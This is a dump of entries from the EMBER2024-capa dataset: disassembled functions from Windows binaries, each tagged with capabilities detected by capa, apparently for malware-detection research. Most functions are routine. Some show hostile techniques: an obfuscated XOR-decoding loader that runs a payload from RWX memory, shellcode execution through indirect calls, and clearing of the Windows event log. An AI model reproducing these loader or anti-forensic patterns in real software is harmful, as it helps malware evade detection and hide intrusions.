joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4699d7
Capabilities:
Connect pipe
Read file on windows
Read pipe

Disassembly:
push 0x3c
mov eax, 0x490c01
call fcn.0047abd7
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ebx
cmp byte [ebp + 0x10], bl
jne 0x469a1d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x469a0a
inc esi
jmp 0x469a1d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
sub esi, 0x217
neg esi
sbb esi, esi
inc esi
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], 7
call fcn.0040290d
xor eax, eax
inc eax
mov dword [ebp - 4], eax
cmp esi, ebx
jne 0x469a49
cmp byte [ebp + 0x10], bl
jne 0x469a49
mov ecx, dword [ebp - 0x30]
call fcn.00403354
jmp 0x469ad6
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x40], eax
mov eax, dword [edi + 0x40]
push ebx
lea ecx, [ebp - 0x48]
push ecx
push 0x400
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x44], eax
cmp eax, ebx
jne 0x469a7a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x469ab6
mov eax, dword [ebp - 0x48]
add dword [ebp - 0x34], eax
mov ecx, dword [edi + 0x40]
shr eax, 1
xor edx, edx
mov word [ecx + eax*2], dx
mov esi, dword [edi + 0x40]
push esi
call fcn.00477183
pop ecx
push eax
mov eax, esi
lea esi, [ebp - 0x2c]
call fcn.0040aac1
lea eax, [ebp - 0x40]
push eax
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 0x40], ebx
ja 0x469a4f
cmp dword [ebp - 0x44], ebx
je 0x469ace
cmp dword [ebp - 0x34], ebx
je 0x469ace
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
push eax
call fcn.00403369
jmp 0x469ad6
mov ecx, dword [ebp - 0x30]
call fcn.00403354
xor eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], bl
push ebx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040292b
mov eax, dword [ebp - 0x30]
call fcn.0047ac5a
ret 0xc

Function at 0x469af4
Capabilities:
Write file on windows

Disassembly:
push 4
mov eax, 0x48ffbc
call fcn.0047ab6e
mov eax, dword [ebp + 0x10]
xor ebx, ebx
cmp dword [ebp + 0xc], 0xffffffff
mov dword [ebp - 0x10], ebx
jne 0x469b19
mov ecx, dword [ebp + 8]
push ebx
call fcn.00403740
jmp 0x469b58
cmp dword [eax + 0x18], 8
mov ecx, dword [eax + 0x14]
jb 0x469b27
mov eax, dword [eax + 4]
jmp 0x469b2a
add eax, 4
push ebx
lea edx, [ebp + 0x10]
push edx
add ecx, ecx
push ecx
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, ebx
jne 0x469b4b
mov ecx, dword [ebp + 8]
push ebx
call fcn.00403740
jmp 0x469b58
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004699d7
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], 1
mov eax, dword [ebp + 8]
call fcn.0047ac46
ret 0xc
Function at 0x469b6d
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp dword [eax + 0x18], 8
mov ecx, dword [eax + 0x14]
jb 0x469b7c
mov eax, dword [eax + 4]
jmp 0x469b7f
add eax, 4
push 0
lea edx, [esp + 4]
push edx
add ecx, ecx
push ecx
push eax
push dword [esi + 0x3c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esi + 0x3c]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
pop ecx
ret

Function at 0x46ba05
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00487f80
mov eax, dword [ebx + 0x10]
sub eax, dword [ebx + 0xc]
push esi
push edi
push 0x1c
cdq
pop ecx
idiv ecx
cmp eax, 1
ja 0x46ba29
xor al, al
jmp 0x46ba6b
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1008]
push eax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x46ba25
mov esi, dword [ebp - 4]
shr esi, 2
xor al, al
xor edi, edi
test esi, esi
jbe 0x46ba6b
test al, al
jne 0x46ba6b
mov ecx, dword [ebp + edi*4 - 0x1008]
test ecx, ecx
je 0x46ba66
push ebx
push ecx
call fcn.0046ba6f
inc edi
cmp edi, esi
jb 0x46ba50
pop edi
pop esi
leave
ret

Function at 0x46ba6f
Capabilities:
Enumerate process modules

Disassembly:
push 0x284
mov eax, 0x495bda
call fcn.0047abd7
push 5
pop ecx
mov esi, str._unknown_
lea edi, [ebp - 0x21c]
rep movsd dword es:[edi], dword [esi]
push 0x1f4
xor esi, esi
lea eax, [ebp - 0x208]
push esi
push eax
call fcn.004773f0
add esp, 0xc
push dword [ebp + 8]
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, esi
je 0x46baec
lea eax, [ebp - 0x258]
push eax
push 4
lea eax, [ebp - 0x260]
push eax
push edi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x46baec
push 0x104
lea eax, [ebp - 0x21c]
push eax
push dword [ebp - 0x260]
push edi
call sub.PSAPI.DLL_GetModuleBaseNameW
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x290]
call fcn.00403740
mov dword [ebp - 4], esi
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x290]
call fcn.00433500
mov byte [ebp - 4], 2
push esi
push 1
lea ecx, [ebp - 0x290]
call fcn.0040292b
lea eax, [ebp - 0x238]
push eax
lea esi, [ebp - 0x254]
call fcn.00433580
mov byte [ebp - 4], 3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 0xc]
mov ebx, dword [edi + 0x10]
lea esi, [ebp - 0x26c]
call fcn.00432ca8
mov ebx, dword [edi + 0x10]
lea esi, [ebp - 0x25c]
call fcn.00432ca8
mov ebx, dword [edi + 0xc]
lea esi, [ebp - 0x264]
call fcn.00432ca8
push 1
lea esi, [ebp - 0x274]
lea eax, [ebp - 0x264]
call fcn.004131cc
mov edi, dword [eax]
mov esi, dword [eax + 4]
jmp 0x46bb9d
lea ecx, [ebp - 0x254]
mov eax, esi
call fcn.00403218
test al, al
jne 0x46bba5
add esi, 0x1c
cmp esi, dword [ebp - 0x258]
jne 0x46bb89
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x258], esi
lea edi, [ebp - 0x26c]
lea esi, [ebp - 0x25c]
call fcn.0040d169
test al, al
je 0x46bbf5
mov bl, 1
mov byte [ebp - 4], 2
push 0
push 1
lea ecx, [ebp - 0x254]
call fcn.0040292b
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x238]
push eax
call fcn.00408871
mov al, bl
call fcn.0047ac5a
ret 8
xor bl, bl
jmp 0x46bbc8
Function at 0x46c2d9
Capabilities:
Check if file exists

Disassembly:
push 0x58
mov eax, 0x491687
call fcn.0047abd7
mov eax, dword [ebp + 8]
lea edi, [eax + 4]
lea eax, [ebp - 0x2c]
push eax
mov ecx, edi
call fcn.00433500
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0
je 0x46c363
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x46c30c
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x46c37b
lea esi, [ebp - 0x64]
lea ebx, [ebp - 0x2c]
call fcn.0040897c
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
push ecx
mov ecx, eax
call fcn.00433500
mov byte [ebp - 4], 2
push 0xffffffffffffffff
xor ebx, ebx
push ebx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00403486
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
call fcn.00408871
mov byte [ebp - 4], bl
mov eax, esi
push eax
call fcn.0041bb1d
cmp dword [ebp - 0x18], ebx
jne 0x46c300
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x2c]
push eax
call fcn.00408871
cmp dword [edi + 0x18], 8
jb 0x46c38c
mov edi, dword [edi + 4]
jmp 0x46c38f
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x2c]
push eax
call fcn.00408871
mov al, 1
jmp 0x46c39c
add edi, 4
push edi
call dword [sym.imp.SHLWAPI.dll_PathIsUNCW]
neg eax
sbb eax, eax
neg eax
call fcn.0047ac5a
ret 4
Function at 0x470148
Capabilities:
Create process on windows
Get common file path

Disassembly:
push 0x2f0
mov eax, 0x499e37
call fcn.0047abd7
mov eax, dword [ebp + 8]
mov dword [ebp - 0x258], eax
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor ecx, ecx
mov word [ebp + eax*2 - 0x21c], cx
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x28c]
call fcn.00403740
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x28c]
call fcn.00433500
mov byte [ebp - 4], 2
push edi
push 1
lea ecx, [ebp - 0x28c]
call fcn.0040292b
push str.msiexec.exe
lea ecx, [ebp - 0x28c]
call fcn.00403740
mov byte [ebp - 4], 3
lea eax, [ebp - 0x28c]
push eax
lea ebx, [ebp - 0x238]
call fcn.0040a144
mov byte [ebp - 4], 2
push edi
push 1
lea ecx, [ebp - 0x28c]
call fcn.0040292b
push 0x4a5944
lea ecx, [ebp - 0x254]
call fcn.00403740
mov byte [ebp - 4], 4
push 0xffffffffffffffff
push edi
mov eax, ebx
push eax
lea ecx, [ebp - 0x254]
call fcn.0040ab88
mov esi, 0x4aa2a4
push esi
call fcn.00477183
pop ecx
push eax
mov eax, esi
lea esi, [ebp - 0x254]
call fcn.0040aac1
mov ebx, dword [ebp - 0x258]
add ebx, 0xc0
mov eax, dword [ebx]
mov esi, dword [eax + 0xec]
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x1c]
add ecx, eax
mov dword [ebp - 0x260], eax
cmp eax, ecx
jbe 0x470259
call fcn.00476d83
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0xec]
mov esi, dword [esi]
lea eax, [ebp - 0x294]
call fcn.004327db
push dword [eax + 4]
push dword [eax]
lea eax, [ebp - 0x288]
push dword [ebp - 0x260]
push esi
push eax
call fcn.00470ec0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2b0]
push ecx
mov ecx, eax
call fcn.004412a0
pop ecx
mov byte [ebp - 4], 6
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x254]
call fcn.0040ab88
mov byte [ebp - 4], 5
push edi
push 1
lea ecx, [ebp - 0x2b0]
call fcn.0040292b
mov byte [ebp - 4], 4
lea eax, [ebp - 0x288]
push eax
call fcn.0040caa3
push 0x40
lea eax, [ebp - 0x2f8]
push edi
push eax
mov dword [ebp - 0x2fc], 0x44
call fcn.004773f0
mov dword [ebp - 0x270], edi
xor eax, eax
lea edi, [ebp - 0x26c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp - 0x220], 8
stosd dword es:[edi], eax
mov edi, dword [ebp - 0x234]
jae 0x470310
lea edi, [ebp - 0x234]
lea eax, [ebp - 0x270]
push eax
xor esi, esi
lea eax, [ebp - 0x2fc]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push esi
lea ecx, [ebp - 0x254]
call fcn.0042c9e9
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, esi
jne 0x470346
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x470371
push 0xffffffffffffffff
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp eax, esi
je 0x47037d
mov eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x258]
mov dword [ecx + 0xbc], eax
mov byte [ebp - 4], 2
push esi
push 1
lea ecx, [ebp - 0x254]
call fcn.0040292b
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x238]
push eax
call fcn.00408871
call fcn.0047ac5a
ret 4
Function at 0x471c1a
Capabilities:
Get disk information
Get disk size

Disassembly:
push 0x90
mov eax, 0x492cb9
call fcn.0047abd7
mov eax, dword [ebp + 8]
mov dword [ebp - 0x7c], ecx
push eax
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x80], eax
call fcn.00403740
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00433500
mov byte [ebp - 4], 2
push edi
push 1
lea ecx, [ebp - 0x9c]
call fcn.0040292b
lea eax, [ebp - 0x2c]
push eax
lea esi, [ebp - 0x9c]
call fcn.00433610
mov byte [ebp - 4], 3
cmp dword [eax + 0x18], 8
jb 0x471c82
mov eax, dword [eax + 4]
jmp 0x471c85
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, eax
mov byte [ebp - 4], 2
push edi
push 1
lea ecx, [ebp - 0x9c]
call fcn.0040292b
cmp ebx, 3
jne 0x471cae
test dword [ebp + 0xc], 0x20000
jne 0x471cfc
cmp ebx, 2
jne 0x471cbc
test dword [ebp + 0xc], 0x10000
jne 0x471cfc
cmp ebx, 4
jne 0x471cca
test dword [ebp + 0xc], 0x40000
jne 0x471cfc
cmp ebx, 5
jne 0x471cd8
test dword [ebp + 0xc], 0x80000
jne 0x471cfc
cmp ebx, 6
jne 0x471ce6
test dword [ebp + 0xc], 0x100000
jne 0x471cfc
cmp ebx, 2
jne 0x471da8
test dword [ebp + 0xc], 0x200000
je 0x471da8
lea eax, [ebp - 0x2c]
push eax
lea esi, [ebp - 0x9c]
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], edi
call fcn.00433610
mov byte [ebp - 4], 4
cmp dword [eax + 0x18], 8
jb 0x471d26
mov eax, dword [eax + 4]
jmp 0x471d29
add eax, 4
push edi
lea ecx, [ebp - 0x70]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov byte [ebp - 4], 2
push edi
push 1
lea ecx, [ebp - 0x9c]
call fcn.0040292b
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9c]
call fcn.00403740
mov byte [ebp - 4], 5
push ebx
push dword [ebp + 0x10]
lea eax, [ebp - 0x9c]
push dword [ebp - 0x74]
push dword [ebp - 0x78]
push dword [ebp - 0x6c]
push dword [ebp - 0x70]
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.00468293
mov byte [ebp - 4], 7
push edi
push 1
lea ecx, [ebp - 0x9c]
call fcn.0040292b
mov esi, dword [ebp - 0x7c]
lea eax, [ebp - 0x68]
push eax
call fcn.004723e8
mov byte [ebp - 4], 2
lea eax, [ebp - 0x68]
push eax
call fcn.0041bb1d
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x2c]
push eax
call fcn.00408871
call fcn.0047ac5a
ret 0xc
Function at 0x4743dd
Capabilities:
Hide graphical window

Disassembly:
mov ecx, dword [esi]
mov eax, dword [ecx]
call dword [eax + 0x48]
test al, al
jne 0x474420
movzx eax, byte [esi + 4]
mov ecx, dword [esi]
neg eax
sbb eax, eax
and eax, 5
push eax
mov eax, dword [ecx]
call dword [eax + 0x28]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [esi + 4], 0
je 0x474420
mov ecx, dword [esi]
mov eax, dword [ecx]
call dword [eax + 0x84]
test al, al
je 0x474420
mov ecx, dword [esi]
mov eax, dword [ecx]
call dword [eax + 0x80]
mov al, 1
ret

Function at 0x4744a2
Capabilities:
Get common file path

Disassembly:
push 0x264
mov eax, 0x492b7e
call fcn.0047abd7
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor ecx, ecx
mov word [ebp + eax*2 - 0x21c], cx
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x270]
call fcn.00403740
xor esi, esi
mov dword [ebp - 4], esi
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x270]
call fcn.00433500
mov byte [ebp - 4], 2
push esi
push 1
lea ecx, [ebp - 0x270]
call fcn.0040292b
push 0x4a5b90
lea ecx, [ebp - 0x270]
call fcn.00403740
mov byte [ebp - 4], 3
lea eax, [ebp - 0x270]
push eax
lea ebx, [ebp - 0x238]
call fcn.0040a144
mov byte [ebp - 4], 2
push esi
push 1
lea ecx, [ebp - 0x270]
call fcn.0040292b
lea eax, [ebp - 0x254]
push eax
call fcn.0046205f
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x244]
sub eax, dword [ebp - 0x248]
sar eax, 1
cmp dword [ebp - 0x220], 8
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x234]
jae 0x47457f
lea eax, [ebp - 0x234]
push esi
push esi
lea ecx, [ebp - 0x23c]
push ecx
push esi
push eax
call sub.msi.dll_MsiMessageBoxW
mov eax, dword [ebp - 0x23c]
inc eax
push eax
lea eax, [ebp - 0x254]
call fcn.0042ca77
mov eax, dword [ebp - 0x244]
sub eax, dword [ebp - 0x248]
sar eax, 1
jne 0x4745b7
call fcn.00476d83
cmp dword [ebp - 0x220], 8
mov eax, dword [ebp - 0x234]
jae 0x4745cc
lea eax, [ebp - 0x234]
push esi
push esi
lea ecx, [ebp - 0x23c]
push ecx
push dword [ebp - 0x248]
push eax
call sub.msi.dll_MsiMessageBoxW
xor ebx, ebx
xor edi, edi
cmp edi, dword [ebp - 0x23c]
jae 0x474613
lea esi, [ebp - 0x254]
call fcn.0042ca22
cmp word [eax], 0x2e
je 0x47460d
call fcn.0042ca22
imul ebx, ebx, 0xa
movzx eax, word [eax]
lea ebx, [ebx + eax - 0x30]
inc edi
cmp edi, 3
jb 0x4745e5
imul ebx, ebx, 0xa
mov byte [ebp - 4], 2
lea eax, [ebp - 0x254]
push eax
call fcn.00412310
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x238]
push eax
call fcn.00408871
mov eax, ebx
call fcn.0047ac5a
ret
Function at 0x475ac6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4c13b0], 0
push esi
jne 0x475a39
call fcn.0047595f
test eax, eax
je 0x475a7c
mov eax, dword [0x4c13b0]
cmp eax, 1
jne 0x475a5a
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x475a7c
pop esi
ret
push eax
call dword [0x4c13b8]
test eax, eax
jne 0x475ac4
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x475a80
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4c13b0]
call dword [0x4c13b8]
mov edi, eax
test edi, edi
je 0x475aa5
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x475ac1
mov edi, esi
add esi, 0xff0
push edi
push dword [0x4c13b0]
call dword [0x4c13b4]
add edi, 0x10
cmp edi, esi
jb 0x475aad
mov eax, edi
pop edi
pop esi
ret
jmp 0x475a26

Function at 0x476b4b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4bf490]
jne 0x476b55
repz ret
jmp fcn.0047d9ac

Function at 0x487fab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0047dbc1
and dword [ebp - 4], 0
cmp dword [0x4c2290], 0
mov ebx, eax
jne 0x48805c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x48810d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x48810d
push eax
call fcn.0047db4f
mov dword [esp], 0x49edb8
push edi
mov dword [0x4c2290], eax
call esi
push eax
call fcn.0047db4f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4c2294], eax
call esi
push eax
call fcn.0047db4f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4c2298], eax
call esi
push eax
call fcn.0047db4f
pop ecx
mov dword [0x4c22a0], eax
test eax, eax
je 0x48805c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0047db4f
pop ecx
mov dword [0x4c229c], eax
mov eax, dword [0x4c229c]
cmp eax, ebx
je 0x4880b4
cmp dword [0x4c22a0], ebx
je 0x4880b4
push eax
call fcn.0047dbca
push dword [0x4c22a0]
mov esi, eax
call fcn.0047dbca
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4880b4
test edi, edi
je 0x4880b4
call esi
test eax, eax
je 0x4880ab
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4880ab
test byte [ebp - 0xc], 1
jne 0x4880b4
or dword [ebp + 0x10], 0x200000
jmp 0x4880ed
mov eax, dword [0x4c2294]
cmp eax, ebx
je 0x4880ed
push eax
call fcn.0047dbca
pop ecx
test eax, eax
je 0x4880ed
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4880ed
mov eax, dword [0x4c2298]
cmp eax, ebx
je 0x4880ed
push eax
call fcn.0047dbca
pop ecx
test eax, eax
je 0x4880ed
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4c2290]
call fcn.0047dbca
pop ecx
test eax, eax
je 0x48810d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x48810f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007cac
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.1000aad7
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x10007e1f
jg 0x10007cdb
test esi, esi
jb 0x10007e1f
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.10017328
add esp, 0xc
test eax, eax
js 0x10007e1f
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x10007d3d
push edi
call fcn.1000822e
pop ecx
test eax, eax
je 0x10007d34
push ebx
push esi
push edi
push ebp
call fcn.1000aad7
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x10007e24
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.1000aad7
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x10007e1f
jg 0x10007d66
cmp ebp, ebx
jb 0x10007e1f
mov ecx, 0x10015
cmp eax, ebx
jg 0x10007d7b
jl 0x10007d75
cmp ebp, ecx
jae 0x10007d7b
mov esi, ebp
mov ecx, eax
jmp 0x10007d7f
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.1000aad7
add esp, 0x10
cmp edx, ebx
jl 0x10007e1f
jg 0x10007da5
cmp eax, ebx
jb 0x10007e1f
push 0x10015
call fcn.1000aad7
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10007e1f
push esi
push ebx
push dword [esp + 0x24]
call fcn.10017328
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x10007e18
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x10007e14
cmp byte [esi], 0x50
jne 0x10007e13
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x10007e13
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x10007e2b
dec esi
cmp esi, ebx
jae 0x10007dd4
push ebx
call fcn.1000aad7
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.1000a190
push ebx
call fcn.1000aad7
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.1000822e
add esp, 0x14
test eax, eax
je 0x10007e6b
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.1000aad7
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x10007e24
Function at 0x1000aad7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1000aae6
pop dword [ebp - 0x50]
mov eax, 0x715cab38
add eax, 0x9ea3ffae
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x4535dc2a
add dword [ebp - 0x60], 0x91c6921
mov dword [ebp - 0x5c], 0x3edbd3e
add dword [ebp - 0x5c], 0x2e458f07
mov dword [ebp - 0x58], 0x62f3c7f2
add dword [ebp - 0x58], 0xe9587c3c
mov dword [ebp - 0x54], 0xd40d27e5
add dword [ebp - 0x54], 0x2bf2d81b
lea eax, [ebp - 0x60]
push eax
mov eax, 0xfe9ca86b
sub eax, 0xee9a581b
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x23ed48ff
sub dword [ebp - 0x60], 0xaf7adfa9
mov dword [ebp - 0x5c], 0xbbda90e7
sub dword [ebp - 0x5c], 0x7a6e2f72
mov dword [ebp - 0x58], 0xacbe2244
add dword [ebp - 0x58], 0xb6b14a28
mov dword [ebp - 0x54], 0x4cfabed0
sub dword [ebp - 0x54], 0x4cfabed0
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x244c91c3
add eax, 0xebb5be91
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3e0c6
push 0
call eax
mov ecx, 0x4abd9c87
add ecx, 0xb542a980
xor ebx, ebx
add ebx, eax
mov esi, 0xf46184d
add esi, 0xbd41b3
add esi, dword [ebp - 0x50]
mov edx, 0x74fe7a56
sub dword [ebp - 0x30], 0x2d0c5485
mov edi, dword [esi]
mov dword [ebp - 0x28], 0x9055a77e
xor edi, edx
xor dword [ebp - 0x2c], edx
mov dword [ebx], edi
add dword [ebp - 8], ecx
add ebx, 0xe22a1f5c
add ebx, 0x1dd5e0a8
add esi, 4
loop 0x1000ac04
add eax, 0x43643cbc
add eax, 0xbc9cce33
xor ebx, ebx
add ebx, eax
add eax, 0x211d03de
add eax, 0xdee2fc27
mov ecx, 0x156ff418
add ecx, 0xfa900be8
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x40221f
Capabilities:
Access the windows event log
Clear file content
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x400
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, 0x58ce99d
jg 0x402243
inc edi
cmp edi, 0x1f6502b0
jl 0x40222b
cmp dword [0x47de1c], 0x400
jne 0x40229c
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeCmpStringHandles]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
push 0x46bb08
push esi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push str.digehogacisicaxafoxanet
push esi
call fcn.004025de
push esi
push esi
call fcn.00402734
push esi
call fcn.004027e1
push esi
call fcn.004027f0
add esp, 0x18
xor edi, edi
cmp edi, 0xd0fe
jge 0x4022ad
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x58bc6e
jg 0x4022cc
inc edi
cmp edi, 0xe52f
jl 0x40229e
mov eax, dword [0x46deb4]
mov dword [0x47de1c], eax
call fcn.00402004
mov edi, 0x3078f
cmp dword [0x47de1c], 0x51f
jne 0x4022f8
push esi
lea eax, [esp + 0xc]
push eax
